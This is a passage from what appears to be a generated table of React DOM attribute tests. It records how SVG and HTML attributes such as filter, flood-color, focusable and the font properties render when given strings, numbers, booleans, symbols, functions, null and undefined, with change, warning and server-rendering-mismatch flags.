(initial, warning)| `<null>` |\n| `fill-rule=(undefined)`| (initial, warning)| `<null>` |\n\n## `filter` (on `<g>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `filter=(string)`| (changed)| `\"a string\"` |\n| `filter=(empty string)`| (changed)| `<empty string>` |\n| `filter=(array with string)`| (changed)| `\"string\"` |\n| `filter=(empty array)`| (changed)| `<empty string>` |\n| `filter=(object)`| (changed)| `\"result of toString()\"` |\n| `filter=(numeric string)`| (changed)| `\"42\"` |\n| `filter=(-1)`| (changed)| `\"-1\"` |\n| `filter=(0)`| (changed)| `\"0\"` |\n| `filter=(integer)`| (changed)| `\"1\"` |\n| `filter=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `filter=(float)`| (changed)| `\"99.99\"` |\n| `filter=(true)`| (initial, warning)| `<null>` |\n| `filter=(false)`| (initial, warning)| `<null>` |\n| `filter=(string 'true')`| (changed)| `\"true\"` |\n| `filter=(string 'false')`| (changed)| `\"false\"` |\n| `filter=(string 'on')`| (changed)| `\"on\"` |\n| `filter=(string 'off')`| (changed)| `\"off\"` |\n| `filter=(symbol)`| (initial, warning)| `<null>` |\n| `filter=(function)`| (initial, warning)| `<null>` |\n| `filter=(null)`| (initial)| `<null>` |\n| `filter=(undefined)`| (initial)| `<null>` |\n\n## `filterRes` (on `<filter>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `filterRes=(string)`| (changed, ssr mismatch)| `\"a string\"` |\n| `filterRes=(empty string)`| (changed, ssr mismatch)| `<empty string>` |\n| `filterRes=(array with string)`| (changed, ssr mismatch)| `\"string\"` |\n| `filterRes=(empty array)`| (changed, ssr mismatch)| `<empty string>` |\n| `filterRes=(object)`| (changed, ssr mismatch)| `\"result of toString()\"` |\n| `filterRes=(numeric string)`| (changed, ssr mismatch)| `\"42\"` |\n| `filterRes=(-1)`| (changed, ssr mismatch)| `\"-1\"` |\n| `filterRes=(0)`| (changed, ssr mismatch)| `\"0\"` |\n| `filterRes=(integer)`| (changed, ssr mismatch)| `\"1\"` |\n| `filterRes=(NaN)`| (changed, warning, ssr mismatch)| `\"NaN\"` |\n| `filterRes=(float)`| (changed, ssr mismatch)| `\"99.99\"` |\n| `filterRes=(true)`| (initial, warning)| `<null>` |\n| `filterRes=(false)`| (initial, warning)| `<null>` |\n| `filterRes=(string 'true')`| (changed, ssr mismatch)| `\"true\"` |\n| `filterRes=(string 'false')`| (changed, ssr mismatch)| `\"false\"` |\n| `filterRes=(string 'on')`| (changed, ssr mismatch)| `\"on\"` |\n| `filterRes=(string 'off')`| (changed, ssr mismatch)| `\"off\"` |\n| `filterRes=(symbol)`| (initial, warning)| `<null>` |\n| `filterRes=(function)`| (initial, warning)| `<null>` |\n| `filterRes=(null)`| (initial)| `<null>` |\n| `filterRes=(undefined)`| (initial)| `<null>` |\n\n## `filterUnits` (on `<filter>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `filterUnits=(string)`| (changed)| `<number: 1>` |\n| `filterUnits=(empty string)`| (initial)| `<number: 2>` |\n| `filterUnits=(array with string)`| (changed)| `<number: 1>` |\n| `filterUnits=(empty array)`| (initial)| `<number: 2>` |\n| `filterUnits=(object)`| (initial)| `<number: 2>` |\n| `filterUnits=(numeric string)`| (initial)| `<number: 2>` |\n| `filterUnits=(-1)`| (initial)| `<number: 2>` |\n| `filterUnits=(0)`| (initial)| `<number: 2>` |\n| `filterUnits=(integer)`| (initial)| `<number: 2>` |\n| `filterUnits=(NaN)`| (initial, warning)| `<number: 2>` |\n| `filterUnits=(float)`| (initial)| `<number: 2>` |\n| `filterUnits=(true)`| (initial, warning)| `<number: 2>` |\n| `filterUnits=(false)`| (initial, warning)| `<number: 2>` |\n| `filterUnits=(string 'true')`| (initial)| `<number: 2>` |\n| `filterUnits=(string 'false')`| (initial)| `<number: 2>` |\n| `filterUnits=(string 'on')`| (initial)| `<number: 2>` |\n| `filterUnits=(string 'off')`| (initial)| `<number: 2>` |\n| `filterUnits=(symbol)`| (initial, warning)| `<number: 2>` |\n| `filterUnits=(function)`| (initial, warning)| `<number: 2>` |\n| `filterUnits=(null)`| (initial)| `<number: 2>` |\n| `filterUnits=(undefined)`| (initial)| `<number: 2>` |\n\n## `flood-color` (on `<feflood>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `flood-color=(string)`| (changed, warning)| `\"currentColor\"` |\n| `flood-color=(empty string)`| (changed, warning)| `<empty string>` |\n| `flood-color=(array with string)`| (changed, warning)| `\"currentColor\"` |\n| `flood-color=(empty array)`| (changed, warning)| `<empty string>` |\n| `flood-color=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `flood-color=(numeric string)`| (changed, warning)| `\"42\"` |\n| `flood-color=(-1)`| (changed, warning)| `\"-1\"` |\n| `flood-color=(0)`| (changed, warning)| `\"0\"` |\n| `flood-color=(integer)`| (changed, warning)| `\"1\"` |\n| `flood-color=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `flood-color=(float)`| (changed, warning)| `\"99.99\"` |\n| `flood-color=(true)`| (initial, warning)| `<null>` |\n| `flood-color=(false)`| (initial, warning)| `<null>` |\n| `flood-color=(string 'true')`| (changed, warning)| `\"true\"` |\n| `flood-color=(string 'false')`| (changed, warning)| `\"false\"` |\n| `flood-color=(string 'on')`| (changed, warning)| `\"on\"` |\n| `flood-color=(string 'off')`| (changed, warning)| `\"off\"` |\n| `flood-color=(symbol)`| (initial, warning)| `<null>` |\n| `flood-color=(function)`| (initial, warning)| `<null>` |\n| `flood-color=(null)`| (initial, warning)| `<null>` |\n| `flood-color=(undefined)`| (initial, warning)| `<null>` |\n\n## `floodColor` (on `<feflood>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `floodColor=(string)`| (changed)| `\"currentColor\"` |\n| `floodColor=(empty string)`| (changed)| `<empty string>` |\n| `floodColor=(array with string)`| (changed)| `\"currentColor\"` |\n| `floodColor=(empty array)`| (changed)| `<empty string>` |\n| `floodColor=(object)`| (changed)| `\"result of toString()\"` |\n| `floodColor=(numeric string)`| (changed)| `\"42\"` |\n| `floodColor=(-1)`| (changed)| `\"-1\"` |\n| `floodColor=(0)`| (changed)| `\"0\"` |\n| `floodColor=(integer)`| (changed)| `\"1\"` |\n| `floodColor=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `floodColor=(float)`| (changed)| `\"99.99\"` |\n| `floodColor=(true)`| (initial, warning)| `<null>` |\n| `floodColor=(false)`| (initial, warning)| `<null>` |\n| `floodColor=(string 'true')`| (changed)| `\"true\"` |\n| `floodColor=(string 'false')`| (changed)| `\"false\"` |\n| `floodColor=(string 'on')`| (changed)| `\"on\"` |\n| `floodColor=(string 'off')`| (changed)| `\"off\"` |\n| `floodColor=(symbol)`| (initial, warning)| `<null>` |\n| `floodColor=(function)`| (initial, warning)| `<null>` |\n| `floodColor=(null)`| (initial)| `<null>` |\n| `floodColor=(undefined)`| (initial)| `<null>` |\n\n## `flood-opacity` (on `<feflood>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `flood-opacity=(string)`| (changed, warning)| `\"inherit\"` |\n| `flood-opacity=(empty string)`| (changed, warning)| `<empty string>` |\n| `flood-opacity=(array with string)`| (changed, warning)| `\"inherit\"` |\n| `flood-opacity=(empty array)`| (changed, warning)| `<empty string>` |\n| `flood-opacity=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `flood-opacity=(numeric string)`| (changed, warning)| `\"42\"` |\n| `flood-opacity=(-1)`| (changed, warning)| `\"-1\"` |\n| `flood-opacity=(0)`| (changed, warning)| `\"0\"` |\n| `flood-opacity=(integer)`| (changed, warning)| `\"1\"` |\n| `flood-opacity=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `flood-opacity=(float)`| (changed, warning)| `\"99.99\"` |\n| `flood-opacity=(true)`| (initial, warning)| `<null>` |\n| `flood-opacity=(false)`| (initial, warning)| `<null>` |\n| `flood-opacity=(string 'true')`| (changed, warning)| `\"true\"` |\n| `flood-opacity=(string 'false')`| (changed, warning)| `\"false\"` |\n| `flood-opacity=(string 'on')`| (changed, warning)| `\"on\"` |\n| `flood-opacity=(string 'off')`| (changed, warning)| `\"off\"` |\n| `flood-opacity=(symbol)`| (initial, warning)| `<null>` |\n| `flood-opacity=(function)`| (initial, warning)| `<null>` |\n| `flood-opacity=(null)`| (initial, warning)| `<null>` |\n| `flood-opacity=(undefined)`| (initial, warning)| `<null>` |\n\n## `floodOpacity` (on `<feflood>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `floodOpacity=(string)`| (changed)| `\"inherit\"` |\n| `floodOpacity=(empty string)`| (changed)| `<empty string>` |\n| `floodOpacity=(array with string)`| (changed)| `\"inherit\"` |\n| `floodOpacity=(empty array)`| (changed)| `<empty string>` |\n| `floodOpacity=(object)`| (changed)| `\"result of toString()\"` |\n| `floodOpacity=(numeric string)`| (changed)| `\"42\"` |\n| `floodOpacity=(-1)`| (changed)| `\"-1\"` |\n| `floodOpacity=(0)`| (changed)| `\"0\"` |\n| `floodOpacity=(integer)`| (changed)| `\"1\"` |\n| `floodOpacity=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `floodOpacity=(float)`| (changed)| `\"99.99\"` |\n| `floodOpacity=(true)`| (initial, warning)| `<null>` |\n| `floodOpacity=(false)`| (initial, warning)| `<null>` |\n| `floodOpacity=(string 'true')`| (changed)| `\"true\"` |\n| `floodOpacity=(string 'false')`| (changed)| `\"false\"` |\n| `floodOpacity=(string 'on')`| (changed)| `\"on\"` |\n| `floodOpacity=(string 'off')`| (changed)| `\"off\"` |\n| `floodOpacity=(symbol)`| (initial, warning)| `<null>` |\n| `floodOpacity=(function)`| (initial, warning)| `<null>` |\n| `floodOpacity=(null)`| (initial)| `<null>` |\n| `floodOpacity=(undefined)`| (initial)| `<null>` |\n\n## `focusable` (on `<p>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `focusable=(string)`| (changed)| `\"a string\"` |\n| `focusable=(empty string)`| (changed)| `<empty string>` |\n| `focusable=(array with string)`| (changed)| `\"string\"` |\n| `focusable=(empty array)`| (changed)| `<empty string>` |\n| `focusable=(object)`| (changed)| `\"result of toString()\"` |\n| `focusable=(numeric string)`| (changed)| `\"42\"` |\n| `focusable=(-1)`| (changed)| `\"-1\"` |\n| `focusable=(0)`| (changed)| `\"0\"` |\n| `focusable=(integer)`| (changed)| `\"1\"` |\n| `focusable=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `focusable=(float)`| (changed)| `\"99.99\"` |\n| `focusable=(true)`| (changed)| `\"true\"` |\n| `focusable=(false)`| (changed)| `\"false\"` |\n| `focusable=(string 'true')`| (changed)| `\"true\"` |\n| `focusable=(string 'false')`| (changed)| `\"false\"` |\n| `focusable=(string 'on')`| (changed)| `\"on\"` |\n| `focusable=(string 'off')`| (changed)| `\"off\"` |\n| `focusable=(symbol)`| (initial, warning)| `<null>` |\n| `focusable=(function)`| (initial, warning)| `<null>` |\n| `focusable=(null)`| (initial)| `<null>` |\n| `focusable=(undefined)`| (initial)| `<null>` |\n\n## `font-family` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `font-family=(string)`| (changed, warning)| `\"a string\"` |\n| `font-family=(empty string)`| (changed, warning)| `<empty string>` |\n| `font-family=(array with string)`| (changed, warning)| `\"string\"` |\n| `font-family=(empty array)`| (changed, warning)| `<empty string>` |\n| `font-family=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `font-family=(numeric string)`| (changed, warning)| `\"42\"` |\n| `font-family=(-1)`| (changed, warning)| `\"-1\"` |\n| `font-family=(0)`| (changed, warning)| `\"0\"` |\n| `font-family=(integer)`| (changed, warning)| `\"1\"` |\n| `font-family=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `font-family=(float)`| (changed, warning)| `\"99.99\"` |\n| `font-family=(true)`| (initial, warning)| `<null>` |\n| `font-family=(false)`| (initial, warning)| `<null>` |\n| `font-family=(string 'true')`| (changed, warning)| `\"true\"` |\n| `font-family=(string 'false')`| (changed, warning)| `\"false\"` |\n| `font-family=(string 'on')`| (changed, warning)| `\"on\"` |\n| `font-family=(string 'off')`| (changed, warning)| `\"off\"` |\n| `font-family=(symbol)`| (initial, warning)| `<null>` |\n| `font-family=(function)`| (initial, warning)| `<null>` |\n| `font-family=(null)`| (initial, warning)| `<null>` |\n| `font-family=(undefined)`| (initial, warning)| `<null>` |\n\n## `font-size` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `font-size=(string)`| (changed, warning)| `\"a string\"` |\n| `font-size=(empty string)`| (changed, warning)| `<empty string>` |\n| `font-size=(array with string)`| (changed, warning)| `\"string\"` |\n| `font-size=(empty array)`| (changed, warning)| `<empty string>` |\n| `font-size=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `font-size=(numeric string)`| (changed, warning)| `\"42\"` |\n| `font-size=(-1)`| (changed, warning)| `\"-1\"` |\n| `font-size=(0)`| (changed, warning)| `\"0\"` |\n| `font-size=(integer)`| (changed, warning)| `\"1\"` |\n| `font-size=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `font-size=(float)`| (changed, warning)| `\"99.99\"` |\n| `font-size=(true)`| (initial, warning)| `<null>` |\n| `font-size=(false)`| (initial, warning)| `<null>` |\n| `font-size=(string 'true')`| (changed, warning)| `\"true\"` |\n| `font-size=(string 'false')`| (changed, warning)| `\"false\"` |\n| `font-size=(string 'on')`| (changed, warning)| `\"on\"` |\n| `font-size=(string 'off')`| (changed, warning)| `\"off\"` |\n| `font-size=(symbol)`| (initial, warning)| `<null>` |\n| `font-size=(function)`| (initial, warning)| `<null>` |\n| `font-size=(null)`| (initial, warning)| `<null>` |\n| `font-size=(undefined)`| (initial, warning)| `<null>` |\n\n## `font-size-adjust` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `font-size-adjust=(string)`| (changed, warning)| `\"a string\"` |\n| `font-size-adjust=(empty string)`| (changed, warning)| `<empty string>` |\n| `font-size-adjust=(array with string)`| (changed, warning)| `\"string\"` |\n| `font-size-adjust=(empty array)`| (changed, warning)| `<empty string>` |\n| `font-size-adjust=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `font-size-adjust=(numeric string)`| (changed, warning)| `\"42\"` |\n| `font-size-adjust=(-1)`| (changed, warning)| `\"-1\"` |\n| `font-size-adjust=(0)`| (changed, warning)| `\"0\"` |\n| `font-size-adjust=(integer)`| (changed, warning)| `\"1\"` |\n| `font-size-adjust=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `font-size-adjust=(float)`| (changed, warning)| `\"99.99\"` |\n| `font-size-adjust=(true)`| (initial, warning)| `<null>` |\n| `font-size-adjust=(false)`| (initial, warning)| `<null>` |\n| `font-size-adjust=(string 'true')`| (changed, warning)| `\"true\"` |\n| `font-size-adjust=(string 'false')`| (changed, warning)| `\"false\"` |\n| `font-size-adjust=(string 'on')`| (changed, warning)| `\"on\"` |\n| `font-size-adjust=(string 'off')`| (changed, warning)| `\"off\"` |\n| `font-size-adjust=(symbol)`| (initial, warning)| `<null>` |\n| `font-size-adjust=(function)`| (initial, warning)| `<null>` |\n| `font-size-adjust=(null)`| (initial, warning)| `<null>` |\n| `font-size-adjust=(undefined)`| (initial, warning)| `<null>` |\n\n## `font-stretch` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `font-stretch=(string)`| (changed, warning)| `\"a string\"` |\n| `font-stretch=(empty string)`| (changed, warning)| `<empty string>` |\n| `font-stretch=(array with string)`| (changed, warning)| `\"string\"` |\n| `font-stretch=(empty array)`| (changed, warning)| `<empty string>` |\n| `font-stretch=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `font-stretch=(numeric string)`| (changed, warning)| `\"42\"` |\n| `font-stretch=(-1)`| (changed, warning)| `\"-1\"` |\n| `font-stretch=(0)`| (changed, warning)| `\"0\"` |\n| `font-stretch=(integer)`| (changed, warning)| `\"1\"` |\n| `font-stretch=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `font-stretch=(float)`| (changed, warning)| `\"99.99\"` |\n| `font-stretch=(true)`| (initial, warning)| `<null>` |\n| `font-stretch=(false)`| (initial, warning)| `<null>` |\n| `font-stretch=(string 'true')`| (changed, warning)| `\"true\"` |\n| `font-stretch=(string 'false')`| (changed, warning)| `\"false\"` |\n| `font-stretch=(string 'on')`| (changed, warning)| `\"on\"` |\n| `font-stretch=(string 'off')`| (changed, warning)| `\"off\"` |\n| `font-stretch=(symbol)`| (initial, warning)| `<null>` |\n| `font-stretch=(function)`| (initial, warning)| `<null>` |\n| `font-stretch=(null)`| (initial, warning)| `<null>` |\n| `font-stretch=(undefined)`| (initial, warning)| `<null>` |\n\n## `font-style` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `font-style=(string)`| (changed, warning)| `\"a string\"` |\n| `font-style=(empty string)`| (changed, warning)| `<empty string>` |\n| `font-style=(array with string)`| (changed, warning)| `\"string\"` |\n| `font-style=(empty array)`| (changed, warning)| `<empty string>` |\n| `font-style=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `font-style=(numeric string)`| (changed, warning)| `\"42\"` |\n| `font-style=(-1)`| (changed, warning)| `\"-1\"` |\n| `font-style=(0)`| (changed, warning)| `\"0\"` |\n| `font-style=(integer)`| (changed, warning)| `\"1\"` |\n| `font-style=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `font-style=(float)`| (changed, warning)| `\"99.99\"` |\n| `font-style=(true)`| (initial, warning)| `<null>` |\n| `font-style=(false)`| (initial, warning)| `<null>` |\n| `font-style=(string 'true')`| (changed, warning)| `\"true\"` |\n| `font-style=(string 'false')`| (changed, warning)| `\"false\"` |\n| `font-style=(string 'on')`| (changed, warning)| `\"on\"` |\n| `font-style=(string 'off')`| (changed, warning)| `\"off\"` |\n| `font-style=(symbol)`| (initial, warning)| `<null>` |\n| `font-style=(function)`| (initial, warning)| `<null>` |\n| `font-style=(null)`| (initial, warning)| `<null>` |\n| `font-style=(undefined)`| (initial, warning)| `<null>` |\n\n## `font-variant` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `font-variant=(string)`| (changed, warning)| `\"a string\"` |\n| `font-variant=(empty string)`| (changed, warning)| `<empty string>` |\n| `font-variant=(array with string)`| (changed, warning)| `\"string\"` |\n| `font-variant=(empty array)`| (changed, warning)| `<empty string>` |\n| `font-variant=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `font-variant=(numeric string)`| (changed, warning)| `\"42\"` |\n| `font-variant=(-1)`| (changed, warning)| `\"-1\"` |\n| `font-variant=(0)`| (changed, warning)| `\"0\"` |\n| `font-variant=(integer)`| (changed, warning)| `\"1\"` |\n| `font-variant=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `font-variant=(float)`| (changed, warning)| `\"99.99\"` |\n| `font-variant=(true)`| (initial, warning)| `<null>` |\n| `font-variant=(false)`| (initial, warning)| `<null>` |\n| `font-variant=(string 'true')`| (changed, warning)| `\"true\"` |\n| `font-variant=(string 'false')`| (changed, warning)| `\"false\"` |\n| `font-variant=(string 'on')`| (changed, warning)| `\"on\"` |\n| `font-variant=(string 'off')`| (changed, warning)| `\"off\"` |\n| `font-variant=(symbol)`| (initial, warning)| `<null>` |\n| `font-variant=(function)`| (initial, warning)| `<null>` |\n| `font-variant=(null)`| (initial, warning)| `<null>` |\n| `font-variant=(undefined)`| (initial, warning)| `<null>` |\n\n## `font-weight` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `font-weight=(string)`| (changed, warning)| `\"a string\"` |\n| `font-weight=(empty string)`| (changed, warning)| `<empty string>` |\n| `font-weight=(array with string)`| (changed, warning)| `\"string\"` |\n| `font-weight=(empty array)`| (changed, warning)| `<empty string>` |\n| `font-weight=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `font-weight=(numeric string)`| (changed, warning)| `\"42\"` |\n| `font-weight=(-1)`| (changed, warning)| `\"-1\"` |\n| `font-weight=(0)`| (changed, warning)| `\"0\"` |\n| `font-weight=(integer)`| (changed, warning)| `\"1\"` |\n| `font-weight=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `font-weight=(float)`| (changed, warning)| `\"99.99\"` |\n| `font-weight=(true)`| (initial, warning)| `<null>` |\n| `font-weight=(false)`| (initial, warning)| `<null>` |\n| `font-weight=(string 'true')`| (changed, warning)| `\"true\"` |\n| `font-weight=(string 'false')`| (changed, warning)| `\"false\"` |\n| `font-weight=(string 'on')`| (changed, warning)| `\"on\"` |\n| `font-weight=(string 'off')`| (changed, warning)| `\"off\"` |\n| `font-weight=(symbol)`| (initial, warning)| `<null>` |\n| `font-weight=(function)`| (initial, warning)| `<null>` |\n| `font-weight=(null)`| (initial, warning)| `<null>` |\n| `font-weight=(undefined)`| (initial, warning)| `<null>` |\n\n## `fontFamily` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `fontFamily=(string)`| (changed)| `\"a string\"` |\n| `fontFamily=(empty string)`| (changed)| `<empty string>` |\n| `fontFamily=(array with string)`| (changed)| `\"string\"` |\n| `fontFamily=(empty array)`| (changed)| `<empty string>` |\n| `fontFamily=(object)`| (changed)| `\"result of toString()\"` |\n| `fontFamily=(numeric string)`| (changed)| `\"42\"` |\n| `fontFamily=(-1)`| (changed)| `\"-1\"` |\n| `fontFamily=(0)`| (changed)| `\"0\"` |\n| `fontFamily=(integer)`| (changed)| `\"1\"` |\n| `fontFamily=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `fontFamily=(float)`| (changed)| `\"99.99\"` |\n| `fontFamily=(true)`| (initial, warning)| `<null>` |\n| `fontFamily=(false)`| (initial, warning)| `<null>` |\n| `fontFamily=(string 'true')`| (changed)| `\"true\"` |\n| `fontFamily=(string 'false')`| (changed)| `\"false\"` |\n| `fontFamily=(string 'on')`| (changed)| `\"on\"` |\n| `fontFamily=(string 'off')`| (changed)| `\"off\"` |\n| `fontFamily=(symbol)`| (initial, warning)| `<null>` |\n| `fontFamily=(function)`| (initial, warning)| `<null>` |\n| `fontFamily=(null)`| (initial)| `<null>` |\n| `fontFamily=(undefined)`| (initial)| `<null>` |\n\n## `fontSize` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `fontSize=(string)`| (changed)| `\"a string\"` |\n| `fontSize=(empty string)`| (changed)| `<empty string>` |\n| `fontSize=(array with string)`| (changed)| `\"string\"` |\n| `fontSize=(empty array)`| (changed)| `<empty string>` |\n| `fontSize=(object)`| (changed)| `\"result of toString()\"` |\n| `fontSize=(numeric string)`| (changed)| `\"42\"` |\n| `fontSize=(-1)`| (changed)| `\"-1\"` |\n| `fontSize=(0)`| (changed)| `\"0\"` |\n| `fontSize=(integer)`| (changed)| `\"1\"` |\n| `fontSize=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `fontSize=(float)`| (changed)| `\"99.99\"` |\n| `fontSize=(true)`| (initial, warning)| `<null>` |\n| `fontSize=(false)`| (initial, warning)| `<null>` |\n| `fontSize=(string 'true')`| (changed)| `\"true\"` |\n| `fontSize=(string 'false')`| (changed)| `\"false\"` |\n| `fontSize=(string 'on')`| (changed)| `\"on\"` |\n| `fontSize=(string 'off')`| (changed)| `\"off\"` |\n| `fontSize=(symbol)`| (initial, warning)| `<null>` |\n| `fontSize=(function)`| (initial, warning)| `<null>` |\n| `fontSize=(null)`| (initial)| `<null>` |\n| `fontSize=(undefined)`| (initial)| `<null>` |\n\n## `fontSizeAdjust` (on `<text>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `fontSizeAdjust=(string)`| (changed)| `\"a string\"` |\n| `fontSizeAdjust=(empty string)`| (changed)| `<empty string>` |\n| `fontSizeAdjust=(array with string)`| (changed)| `\"string\"` |\n| `fontSizeAdjust=(empty array)`| (changed)| `<empty string>` |\n| `fontSizeAdjust=(object)`| (changed)| `\"result of toString()\"` |\n| `fontSizeAdjust=(numeric string)`| (changed)| `\"42\"` |\n| `fontSizeAdjust=(-1)`| (changed)| `\"-1\"` |\n| `fontSizeAdjust=(0)`| (changed)| `\"0\"` |\n| `fontSizeAdjust=(integer)`| (changed)| `\"1\"` |\n| `fontSizeAdjust=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `fontSizeAdjust=(float)`| (changed)| `\"99.99\"` |\n| `fontSizeAdjust=(true)`| (initial, warning)| `<null>` |\n| `fontSizeAdjust=(false)`| (initial, warning)| `<null>` |\n| `fontSizeAdjust=(string 'true')`| (changed)| `\"true\"` |\n| `fontSizeAdjust=(string 'false')`| (changed)| `\"false\"` |\n| `fontSizeAdjust=(string 'on')`| (changed)| `\"on\"` |\n| `fontSizeAdjust=(string 'off')`| (changed)| `\"off\"` |\n| `fontSizeAdjust=(symbol)`| (initial, warning)| `<null>` |\n| `fontSizeAdjust=(function)`| (initial, warning)| `<null>` |\n| `fontSizeAdjust=(null)`| (initial)| `<null>` |\n| `fontSizeAdjust=(undefined)`| (initial)| `<null>` |\n\n## `fontStretch` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `fontStretch=(string)`| (changed)| `\"a string\"` |\n| `fontStretch=(empty string)`| (changed)| `<empty string>` |\n| `fontStretch=(array with string)`| (changed)| `\"string\"` |\n| `fontStretch=(empty array)`| (changed)| `<empty string>` |\n| `fontStretch=(object)`| (changed)| `\"result of toString()\"` |\n| `fontStretch=(numeric string)`| (changed)| `\"42\"` |\n| `fontStretch=(-1)`| (changed)| `\"-1\"` |\n| `fontStretch=(0)`| (changed)| `\"0\"` |\n| `fontStretch=(integer)`| (changed)| `\"1\"` |\n| `fontStretch=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `fontStretch=(float)`| (changed)| `\"99.99\"` |\n| `fontStretch=(true)`| (initial, warning)| `<null>` |\n| `fontStretch=(false)`| (initial, warning)| `<null>` |\n| `fontStretch=(string 'true')`| (changed)| `\"true\"` |\n| `fontStretch=(string 'false')`| (changed)| `\"false\"` |\n| `fontStretch=(string 'on')`| (changed)| `\"on\"` |\n| `fontStretch=(string 'off')`| (changed)| `\"off\"` |\n| `fontStretch=(symbol)`| (initial, warning)| `<null>` |\n| `fontStretch=(function)`| (initial, warning)| `<null>` |\n| `fontStretch=(null)`| (initial)| `<null>` |\n| `fontStretch=(undefined)`| (initial)| `<null>` |\n\n## `fontStyle` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `fontStyle=(string)`| (changed)| `\"a string\"` |\n| `fontStyle=(empty string)`| (changed)| `<empty string>` |\n| `fontStyle=(array with string)`| (changed)| `\"string\"` |\n| `fontStyle=(empty array)`| (changed)| `<empty string>` |\n| `fontStyle=(object)`| (changed)| `\"result of toString()\"` |\n| `fontStyle=(numeric string)`| (changed)| `\"42\"` |\n| `fontStyle=(-1)`| (changed)| `\"-1\"` |\n| `fontStyle=(0)`| (changed)| `\"0\"` |\n| `fontStyle=(integer)`| (changed)| `\"1\"` |\n| `fontStyle=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `fontStyle=(float)`| (changed)| `\"99.99\"` |\n| `fontStyle=(true)`| (initial, warning)| `<null>` |\n| `fontStyle=(false)`| (initial, warning)| `<null>` |\n| `fontStyle=(string 'true')`| (changed)| `\"true\"` |\n| `fontStyle=(string 'false')`| (changed)| `\"false\"` |\n| `fontStyle=(string 'on')`| (changed)| `\"on\"` |\n| `fontStyle=(string 'off')`| (changed)| `\"off\"` |\n| `fontStyle=(symbol)`| (initial, warning)| `<null>` |\n| `fontStyle=(function)`| (initial, warning)| `<null>` |\n| `fontStyle=(null)`| (initial)| `<null>` |\n| `fontStyle=(undefined)`| (initial)| `<null>` |\n\n## `fontVariant` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `fontVariant=(string)`| (changed)| `\"a string\"` |\n| `fontVariant=(empty string)`| (changed)| `<empty string>` |\n| `fontVariant=(array with string)`| (changed)| `\"string\"` |\n| `fontVariant=(empty array)`| (changed)| `<empty string>` |\n| `fontVariant=(object)`| (changed)| `\"result of toString()\"` |\n| `fontVariant=(numeric string)`| (changed)| `\"42\"` |\n| `fontVariant=(-1)`| (changed)| `\"-1\"` |\n| `fontVariant=(0)`| (changed)| `\"0\"` |\n| `fontVariant=(integer)`| (changed)| `\"1\"` |\n| `fontVariant=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `fontVariant=(float)`| (changed)| `\"99.99\"` |\n| `fontVariant=(true)`| (initial, warning)| `<null>` |\n| `fontVariant=(false)`| (initial, warning)| `<null>` |\n| `fontVariant=(string 'true')`| (changed)| `\"true\"` |\n| `fontVariant=(string 'false')`| (changed)| `\"false\"` |\n| `fontVariant=(string 'on')`| (changed)| `\"on\"` |\n| `fontVariant=(string 'off')`| (changed)| `\"off\"` |\n| `fontVariant=(symbol)`| (initial, warning)| `<null>` |\n| `fontVariant=(function)`| (initial, warning)| `<null>` |\n| `fontVariant=(null)`| (initial)| `<null>` |\n| `fontVariant=(undefined)`| (initial)| `<null>` |\n\n## `fontWeight` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `fontWeight=(string)`| (changed)| `\"a string\"` |\n| `fontWeight=(empty string)`| (changed)| `<empty string>` |\n| `fontWeight=(array with string)`| (changed)| `\"string\"` 